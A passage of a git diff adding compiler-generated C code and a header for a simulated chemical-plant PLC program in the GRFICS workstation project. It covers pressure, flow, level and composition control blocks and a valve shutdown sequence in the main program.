__SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + 